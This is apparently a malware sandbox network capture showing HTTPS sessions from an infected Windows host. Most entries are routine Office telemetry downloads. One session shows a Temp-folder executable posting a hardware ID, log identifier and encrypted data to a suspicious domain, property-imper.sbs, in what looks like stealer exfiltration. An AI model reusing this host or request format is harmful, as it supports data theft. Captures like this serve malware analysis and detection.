2024-11-23 17:22:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.4	49852	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:44 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:44 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:44 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: abaf503b-901e-0064-2b47-3ce8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172244Z-178bfbc474bnwsh4hC1NYC2ubs00000004s000000000g6qn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:44 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.4	49851	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:44 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:44 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:44 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: bc0c8c97-701e-0053-1e45-3c3a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172244Z-178bfbc474btrnf9hC1NYCb80g00000004y0000000008y9k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:44 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.4	49853	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:44 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:44 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:44 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: 0cd55988-601e-003e-4d0c-3d3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172244Z-178bfbc474b7cbwqhC1NYC8z4n00000004kg00000000k72z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:44 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.4	49857	172.67.162.84	443	4428	C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:44 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=T041BRNHKWBT7FGLR User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18163 Host: property-imper.sbs
2024-11-23 17:22:44 UTC	15331	OUT	Data Raw: 2d 2d 54 30 34 31 42 52 4e 48 4b 57 42 54 37 46 47 4c 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 35 36 46 32 43 39 45 45 36 39 46 46 44 34 38 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 54 30 34 31 42 52 4e 48 4b 57 42 54 37 46 47 4c 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 54 30 34 31 42 52 4e 48 4b 57 42 54 37 46 47 4c 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 Data Ascii: --T041BRNHKWBT7FGLRContent-Disposition: form-data; name="hwid"E56F2C9EE69FFD48D7CBBD6DF28D3732--T041BRNHKWBT7FGLRContent-Disposition: form-data; name="pid"2--T041BRNHKWBT7FGLRContent-Disposition: form-data; name="lid"LOGS11--LiveTraf
2024-11-23 17:22:44 UTC	2832	OUT	Data Raw: 78 a8 6a 87 a7 66 35 eb c7 4a 53 81 68 2f 88 dd e0 cb 99 64 7e e6 28 bf 13 cc 94 75 5e c1 bc c6 a2 f2 ea 27 0a 66 e1 9f 97 c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 Data Ascii: xjf5JSh/d~(u^'f.\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{
2024-11-23 17:22:45 UTC	1024	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=qm7fq3g5452g1gg9al6kmurrdj; expires=Wed, 19-Mar-2025 11:09:23 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hR7x%2FG4EhY%2BVVi7SB%2FnzwK5Jq2nMFFNKr8%2FfJutgef3t70DIwvrZikGXYhbI%2BgajskiURsdQOKwEAGKKcap8Cyrv%2BUCtlE1IXPgMXSY6dhiHjxf5yJXK8Qw93cW7b5MVDxPBDHM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e72d7d41a31199d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1814&sent=16&recv=20&lost=0&retrans=0&sent_bytes=2844&recv_bytes=19126&delivery_rate=1591280&cwnd=223&unsent_bytes=0&cid=391c59a638661a46&ts=1216&x=0"
2024-11-23 17:22:45 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 17:22:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.4	49855	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:44 UTC	191	OUT	GET /rules/rule90401v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:44 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:44 GMT Content-Type: text/xml Content-Length: 1250 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE4487AA" x-ms-request-id: 6fe4cd85-501e-0029-2ea1-3ad0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172244Z-178bfbc474brk967hC1NYCfu6000000004eg00000000mdnq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:44 UTC	1250	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 39 30 34 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 53 61 6d 70 6c 69 6e 67 50 6f 6c 69 63 79 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 4d 65 74 61 64 61 74 61 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="90401" V="3" DC="ESM" EN="Office.Telemetry.SamplingPolicy" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" DL="A" DCa="PSP PSU" xmlns=""> <RIS> <RI N="Metadata" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.4	49859	2.18.109.164	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:45 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-23 17:22:45 UTC	535	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0WwMRYwAAAABe7whxSEuqSJRuLqzPsqCaTE9OMjFFREdFMTcxNQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=231036 Date: Sat, 23 Nov 2024 17:22:45 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-23 17:22:45 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.4	49860	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:45 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:46 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:46 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: d2879cce-801e-0047-5869-3b7265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172246Z-178bfbc474bwlrhlhC1NYCy3kg00000004q000000000gr0e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:46 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.4	49862	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:46 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:47 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:47 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: c1a1f15b-901e-005b-358c-3a2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172247Z-178bfbc474bv587zhC1NYCny5w00000004k000000000gzwz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:47 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.4	49863	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:46 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:47 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:47 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 3994331f-f01e-0071-696c-3b431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172247Z-178bfbc474bp8mkvhC1NYCzqnn00000004m000000000advp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:47 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.4	49864	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:46 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:47 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:47 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 297afce4-701e-0053-438c-3a3a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172247Z-178bfbc474bv7whqhC1NYC1fg400000004r000000000f44h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:47 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.4	49865	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:46 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:47 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:47 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 1a87898e-001e-002b-2066-3b99f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172247Z-178bfbc474bscnbchC1NYCe7eg00000004yg0000000072hc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:47 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
